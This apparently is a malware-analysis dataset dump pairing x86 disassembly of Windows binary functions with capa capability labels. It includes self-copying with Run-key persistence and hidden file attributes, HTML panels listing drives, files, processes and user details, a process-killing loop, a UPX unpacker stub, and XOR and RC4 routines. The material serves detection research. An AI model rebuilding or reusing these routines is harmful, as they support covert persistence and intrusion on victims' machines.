joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402b1d
Capabilities:
Copy file
Persist via run registry key
Query or enumerate registry value
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x402b45
xor eax, eax
jmp 0x402cef
mov dword [ebp - 4], 0x104
lea ecx, [ebp - 0x328]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x310]
push eax
push 0
push 0
push str.Cookies
mov ecx, dword [ebp - 0x328]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [ebp - 0x310]
push edx
push str._sckmgr.exe
lea eax, [ebp - 0x108]
push eax
call fcn.00404900
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
call fcn.00404540
add esp, 4
mov dword [ebp - 4], eax
lea edx, [ebp - 0x314]
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x108]
push ecx
push 1
push 0
push str.ckmgr
mov edx, dword [ebp - 0x314]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x314]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
jne 0x402c25
xor eax, eax
jmp 0x402cef
push 0x27
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov ecx, dword [ebp - 0x328]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x328]
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftNotepad
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402c6a
xor eax, eax
jmp 0x402cef
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x324]
push ecx
push 0
push 0
push 0x40b908
mov edx, dword [ebp - 0x328]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402cdd
push str.0.0.0.0
lea eax, [ebp - 0x324]
push eax
call fcn.00404960
add esp, 8
lea ecx, [ebp - 0x324]
push ecx
call fcn.00404540
add esp, 4
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x324]
push eax
push 1
push 0
push 0x40b914
mov ecx, dword [ebp - 0x328]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x328]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4030e4
Capabilities:
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
mov dword [ebp - 0x314], 0
mov dword [ebp - 0x300], 0
push 0
push 0
push 0
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0xffffffff
jne 0x403129
xor eax, eax
jmp 0x40323b
push 0
push 0
lea eax, [ebp - 0x308]
push eax
push 0x2f8
lea ecx, [ebp - 0x2f8]
push ecx
push 0
push 0
push 0x4004747f
mov edx, dword [ebp - 0x2fc]
push edx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
jne 0x403162
xor eax, eax
jmp 0x40323b
mov eax, dword [ebp - 0x2fc]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 0x308]
xor edx, edx
mov ecx, 0x4c
div ecx
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], 0
jmp 0x40319f
mov edx, dword [ebp - 0x30c]
add edx, 1
mov dword [ebp - 0x30c], edx
mov eax, dword [ebp - 0x30c]
cmp eax, dword [ebp - 0x310]
jge 0x40322b
mov ecx, dword [ebp - 0x30c]
imul ecx, ecx, 0x4c
lea edx, [ebp + ecx - 0x2f4]
mov dword [ebp - 0x318], edx
mov eax, dword [ebp - 0x318]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov dword [ebp - 0x304], eax
mov edx, dword [ebp - 0x314]
and edx, 4
test edx, edx
je 0x4031e8
jmp 0x403190
cmp dword [ebp - 0x304], 0
je 0x403226
push str.127.0.0.1
mov eax, dword [ebp - 0x304]
push eax
call fcn.00405030
add esp, 8
test eax, eax
jne 0x403226
mov ecx, dword [ebp - 0x304]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00404960
add esp, 8
mov dword [ebp - 0x300], 1
jmp 0x403190
cmp dword [ebp - 0x300], 0
je 0x403239
mov eax, dword [ebp + 8]
jmp 0x40323b
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4033ec
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [ebp + 8]
push eax
call fcn.004020bc
add esp, 4
mov ecx, dword [ebp + 8]
add ecx, 0x1c
push ecx
push str._div_aligncenter__h2_listing_of__s___h2__br__n
lea edx, [ebp - 0x104]
push edx
call fcn.00404900
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
call fcn.00404540
add esp, 4
push eax
lea ecx, [ebp - 0x104]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004024c1
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
call fcn.00404540
add esp, 4
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx + eax + 0x1b]
cmp edx, 0x2f
jne 0x403478
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
push 0x40b990
lea ecx, [ebp - 0x104]
push ecx
call fcn.00404900
add esp, 0xc
jmp 0x403493
mov edx, dword [ebp + 8]
add edx, 0x1c
push edx
push str._s_
lea eax, [ebp - 0x104]
push eax
call fcn.00404900
add esp, 0xc
lea ecx, [ebp - 0x244]
push ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0
jne 0x4034bd
xor eax, eax
jmp 0x403604
mov eax, dword [ebp - 0x244]
and eax, 0x10
test eax, eax
je 0x4034e7
lea ecx, [ebp - 0x218]
push ecx
push 0x40b99c
lea edx, [ebp - 0x348]
push edx
call fcn.00404900
add esp, 0xc
jmp 0x403502
lea eax, [ebp - 0x218]
push eax
push 0x40b9a0
lea ecx, [ebp - 0x348]
push ecx
call fcn.00404900
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
lea eax, [ebp - 0x348]
push eax
push 0x40b9a4
lea ecx, [ebp - 0x104]
push ecx
call fcn.00404900
add esp, 0x10
lea edx, [ebp - 0x104]
push edx
call fcn.00404540
add esp, 4
push eax
lea eax, [ebp - 0x104]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004024c1
add esp, 0xc
lea edx, [ebp - 0x244]
push edx
mov eax, dword [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
je 0x4035f2
mov ecx, dword [ebp - 0x244]
and ecx, 0x10
test ecx, ecx
je 0x40358d
lea edx, [ebp - 0x218]
push edx
push 0x40b9c0
lea eax, [ebp - 0x348]
push eax
call fcn.00404900
add esp, 0xc
jmp 0x4035a8
lea ecx, [ebp - 0x218]
push ecx
push 0x40b9c4
lea edx, [ebp - 0x348]
push edx
call fcn.00404900
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x348]
push ecx
push str._a_href__s____s___a__br__n
lea edx, [ebp - 0x104]
push edx
call fcn.00404900
add esp, 0x10
lea eax, [ebp - 0x104]
push eax
call fcn.00404540
add esp, 4
push eax
lea ecx, [ebp - 0x104]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004024c1
add esp, 0xc
jmp 0x403547
mov eax, dword [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4036d0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f0
push str._div_aligncenter__h2_Browse:__h2__br_
lea eax, [ebp - 0x3e8]
push eax
call fcn.00404900
add esp, 8
lea ecx, [ebp - 0x3e8]
push ecx
call fcn.00404540
add esp, 4
push eax
lea edx, [ebp - 0x3e8]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004024c1
add esp, 0xc
call dword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
mov dword [ebp - 0x3ec], eax
mov dword [ebp - 0x3f0], 0
jmp 0x403737
mov ecx, dword [ebp - 0x3f0]
add ecx, 1
mov dword [ebp - 0x3f0], ecx
cmp dword [ebp - 0x3f0], 0x20
jge 0x4037a6
mov edx, 1
mov ecx, dword [ebp - 0x3f0]
shl edx, cl
mov eax, dword [ebp - 0x3ec]
and eax, edx
test eax, eax
je 0x4037a4
mov ecx, dword [ebp - 0x3f0]
add ecx, 0x41
push ecx
mov edx, dword [ebp - 0x3f0]
add edx, 0x41
push edx
push str.___a_href___c:____Drive__c__a___
lea eax, [ebp - 0x3e8]
push eax
call fcn.00404900
add esp, 0x10
lea ecx, [ebp - 0x3e8]
push ecx
call fcn.00404540
add esp, 4
push eax
lea edx, [ebp - 0x3e8]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004024c1
add esp, 0xc
jmp 0x403728
mov esp, ebp
pop ebp
ret

Function at 0x4037aa
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f4
mov dword [ebp - 0x128], 0x128
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
push str._n_div_aligncenter__h2_running_processez:__h2__br_
lea ecx, [ebp - 0x1f0]
push ecx
call fcn.00404900
add esp, 0xc
lea edx, [ebp - 0x1f0]
push edx
call fcn.00404540
add esp, 4
push eax
lea eax, [ebp - 0x1f0]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004024c1
add esp, 0xc
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0
je 0x4038d7
lea edx, [ebp - 0x128]
push edx
mov eax, dword [ebp - 0x1f4]
push eax
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x4038c9
lea ecx, [ebp - 0x104]
push ecx
push 0x40ba7c
lea edx, [ebp - 0x1f0]
push edx
call fcn.00404900
add esp, 0xc
lea eax, [ebp - 0x1f0]
push eax
call fcn.00404540
add esp, 4
push eax
lea ecx, [ebp - 0x1f0]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004024c1
add esp, 0xc
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x1f4]
push ecx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x4038c7
lea edx, [ebp - 0x104]
push edx
push str._s_br__n
lea eax, [ebp - 0x1f0]
push eax
call fcn.00404900
add esp, 0xc
lea ecx, [ebp - 0x1f0]
push ecx
call fcn.00404540
add esp, 4
push eax
lea edx, [ebp - 0x1f0]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004024c1
add esp, 0xc
jmp 0x403870
jmp 0x4038d7
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esp, ebp
pop ebp
ret
Function at 0x4038db
Capabilities:
Get common file path
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov dword [ebp - 0x130], 0x64
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
push str._n_div_aligncenter__h2_computer_information:__h2__br_
lea ecx, [ebp - 0x12c]
push ecx
call fcn.00404900
add esp, 0xc
lea edx, [ebp - 0x12c]
push edx
call fcn.00404540
add esp, 4
push eax
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004024c1
add esp, 0xc
lea edx, [ebp - 0x130]
push edx
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
lea ecx, [ebp - 0x64]
push ecx
push str._b_Computer_name:__b___s_br_
lea edx, [ebp - 0x12c]
push edx
call fcn.00404900
add esp, 0xc
lea eax, [ebp - 0x12c]
push eax
call fcn.00404540
add esp, 4
push eax
lea ecx, [ebp - 0x12c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004024c1
add esp, 0xc
push 0x64
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea ecx, [ebp - 0x64]
push ecx
push str._b_Windows_Directory:__b___s_br_
lea edx, [ebp - 0x12c]
push edx
call fcn.00404900
add esp, 0xc
lea eax, [ebp - 0x12c]
push eax
call fcn.00404540
add esp, 4
push eax
lea ecx, [ebp - 0x12c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004024c1
add esp, 0xc
push 0x64
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [ebp - 0x64]
push ecx
push str._b_System_Directory:__b___s_br_
lea edx, [ebp - 0x12c]
push edx
call fcn.00404900
add esp, 0xc
lea eax, [ebp - 0x12c]
push eax
call fcn.00404540
add esp, 4
push eax
lea ecx, [ebp - 0x12c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004024c1
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x64]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [ebp - 0x64]
push edx
push str._b_username:__b___s_br_
lea eax, [ebp - 0x12c]
push eax
call fcn.00404900
add esp, 0xc
lea ecx, [ebp - 0x12c]
push ecx
call fcn.00404540
add esp, 4
push eax
lea edx, [ebp - 0x12c]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004024c1
add esp, 0xc
push str._br__br_more_information_coming_soon_in_next_version_
lea ecx, [ebp - 0x12c]
push ecx
call fcn.00404900
add esp, 8
lea edx, [ebp - 0x12c]
push edx
call fcn.00404540
add esp, 4
push eax
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004024c1
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x404452
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x404524
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x404524
lea edx, [ebp - 0x108]
push edx
call fcn.004042ca
add esp, 4
test eax, eax
je 0x4044a8
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
lea ecx, [ebp - 0x12c]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x40451a
lea eax, [ebp - 0x108]
push eax
call fcn.004042ca
add esp, 4
test eax, eax
je 0x404518
mov dword [ebp - 0x130], 0
mov ecx, dword [ebp - 0x124]
push ecx
push 1
push 0x100000
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
je 0x404518
push 0
mov edx, dword [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov eax, dword [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x4044a8
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x408471
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40c738
cmp edx, dword [eax]
je 0x408493
add eax, 8
inc ecx
cmp eax, 0x40c7c8
jl 0x408484
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40c738]
jne 0x4085c1
mov eax, dword [0x40d230]
cmp eax, 1
je 0x40859b
test eax, eax
jne 0x4084c4
cmp dword [0x40be84], 1
je 0x40859b
cmp edx, 0xfc
je 0x4085c1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x4084fb
lea eax, [ebp - 0x1a4]
push 0x401568
push eax
call fcn.00404960
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00404540
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40853e
lea eax, [ebp - 0x1a4]
push eax
call fcn.00404540
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x401564
push edi
call fcn.00408910
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x401548
push eax
call fcn.00404960
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404970
lea eax, [ebp - 0xa0]
push 0x401544
push eax
call fcn.00404970
push dword [esi + 0x40c73c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404970
push 0x12010
lea eax, [ebp - 0xa0]
push 0x40151c
push eax
call fcn.00409b78
add esp, 0x2c
pop edi
jmp 0x4085c1
lea eax, [ebp + 8]
lea esi, [esi + 0x40c73c]
push 0
push eax
push dword [esi]
call fcn.00404540
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop esi
leave
ret
Function at 0x467584
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov dl, 0xb5
mov ebx, eax
xor eax, eax
mov ecx, eax
mov esi, ebx
shr esi, cl
mov ecx, esi
and cl, 0xff
xor dl, cl
inc eax
cmp eax, 4
jne 0x46758c
mov eax, edx
pop esi
pop ebx
ret

Function at 0x10010dc
Capabilities:
Get hostname
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
push 0x1002040
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0xffffffff
jne 0x100110e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x2713
call fcn.01001439
mov edi, dword [ebp + 0xc]
xor ebx, ebx
mov esi, 0x10010ac
jmp 0x1001121
cmp al, 0x73
jne 0x1001142
xor ebx, ebx
inc ebx
push esi
push edi
push dword [ebp + 8]
call fcn.01001475
cmp eax, 0xffffffff
jne 0x100111a
mov eax, dword [0x1002004]
cmp dword [edi + eax*4], 0
je 0x1001154
push 0x2714
jmp 0x1001147
push 0x2710
push 2
call fcn.010013ca
pop ecx
pop ecx
push 1
jmp 0x10011d0
push 0x400
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jge 0x100117d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x2712
call fcn.01001439
jmp 0x1001150
test ebx, ebx
je 0x1001199
lea eax, [ebp - 0x400]
push 0x2e
push eax
call dword [sym.imp.msvcrt.dll_strchr]
test eax, eax
pop ecx
pop ecx
je 0x1001199
and byte [eax], 0
lea eax, [ebp - 0x400]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10011a2
sub eax, edx
push eax
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.USER32.dll_CharToOemBuffA]
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.msvcrt.dll_puts]
pop ecx
push 0
call dword [sym.imp.msvcrt.dll_exit]
int3
Function at 0x51da20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc7000]
push edi
jmp 0x51da3a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x51da41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51da30
mov eax, 1
add ebx, ebx
jne 0x51da53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x51da64
jne 0x51da83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51da83
dec eax
add ebx, ebx
jne 0x51da70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x51da48
add ebx, ebx
jne 0x51da7f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x51dad5
xor ecx, ecx
sub eax, 3
jb 0x51da9b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x51db0a
sar eax, 1
mov ebp, eax
jmp 0x51daa6
add ebx, ebx
jne 0x51daa6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51da74
inc ecx
add ebx, ebx
jne 0x51dab4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51da74
add ebx, ebx
jne 0x51dac1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x51dab6
jne 0x51dad2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x51dab6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x51daf4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x51dae6
jmp 0x51da36
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x51daf4
add edi, ecx
jmp 0x51da36
pop esi
mov edi, esi
mov ecx, 0x3ee5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x51db12
cmp byte [edi], 0x11
jne 0x51db12
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x51db17
lea edi, [esi + 0x116000]
mov eax, dword [edi]
or eax, eax
je 0x51db8f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x162b74]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x162cf0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x51db44
mov ecx, edi
jns 0x51db73
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x162cf4]
or eax, eax
je 0x51db89
mov dword [ebx], eax
add ebx, 4
jmp 0x51db61
call dword [esi + 0x162d04]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x51dbc0
cmp al, 0xef
ja 0x51dbb3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x51db95
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x51dba2
mov ebp, dword [esi + 0x162cf8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x51dbf4
sub esp, 0xffffff80
jmp 0x427f4a
Function at 0x1013df39
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10197be8]
jne 0x1013df43
repz ret
jmp fcn.1013e265

Function at 0x101412f9
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1013e03c
and dword [ebp - 4], 0
cmp dword [0x10199c80], 0
mov ebx, eax
jne 0x101413aa
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1014145b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1014145b
push eax
call fcn.1013dfca
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10199c80], eax
call esi
push eax
call fcn.1013dfca
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10199c84], eax
call esi
push eax
call fcn.1013dfca
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10199c88], eax
call esi
push eax
call fcn.1013dfca
pop ecx
mov dword [0x10199c90], eax
test eax, eax
je 0x101413aa
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1013dfca
pop ecx
mov dword [0x10199c8c], eax
mov eax, dword [0x10199c8c]
cmp eax, ebx
je 0x10141402
cmp dword [0x10199c90], ebx
je 0x10141402
push eax
call fcn.1013e045
push dword [0x10199c90]
mov esi, eax
call fcn.1013e045
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10141402
test edi, edi
je 0x10141402
call esi
test eax, eax
je 0x101413f9
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x101413f9
test byte [ebp - 0xc], 1
jne 0x10141402
or dword [ebp + 0x10], 0x200000
jmp 0x1014143b
mov eax, dword [0x10199c84]
cmp eax, ebx
je 0x1014143b
push eax
call fcn.1013e045
pop ecx
test eax, eax
je 0x1014143b
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1014143b
mov eax, dword [0x10199c88]
cmp eax, ebx
je 0x1014143b
push eax
call fcn.1013e045
pop ecx
test eax, eax
je 0x1014143b
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10199c80]
call fcn.1013e045
pop ecx
test eax, eax
je 0x1014145b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1014145d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x101429c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10197a64], 0
mov byte [0x10197a68], 0
mov dword [0x10197a5c], 0xdd8
mov dword [0x10197a58], 0x1867
mov dword [0x10197a60], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10197a60]
add eax, 1
mov dword [0x10197a60], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10142a0f
mov eax, 0x1c52
xor ecx, ecx
mov dword [0x10197a58], 0x1c52
mov dword [0x10197a60], 0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, 0x100
mov dword [0x10197a6c], 0
mov dword [ebp - 0x28], eax
xor esi, esi
mov dword [ebp - 0x2c], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
add ecx, 0xfffff22e
mov edi, dword [0x10197a64]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x10197a6c], esi
mov dword [0x10197a58], ecx
mov eax, esi
cdq
mov ecx, dword [ebp - 0x2c]
idiv ecx
mov dword [0x10197a64], edx
mov esi, dword [ebp - 0x28]
mov cl, byte [ebx + esi]
mov byte [0x10197a68], cl
mov dword [0x10197a58], 0x1300
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x10197a68]
mov edx, dword [0x10197a64]
mov byte [ebx + edx], cl
mov edx, dword [0x10197a5c]
mov ecx, edx
add ecx, 0xfffff3f9
mov dword [0x10197a58], ecx
mov esi, dword [0x10197a60]
add esi, 1
mov dword [0x10197a60], esi
cmp esi, 0x100
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x24], esi
jl 0x10142a56
mov eax, dword [ebp - 0x30]
add eax, 0xffffef7b
mov dword [0x10197a58], eax
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret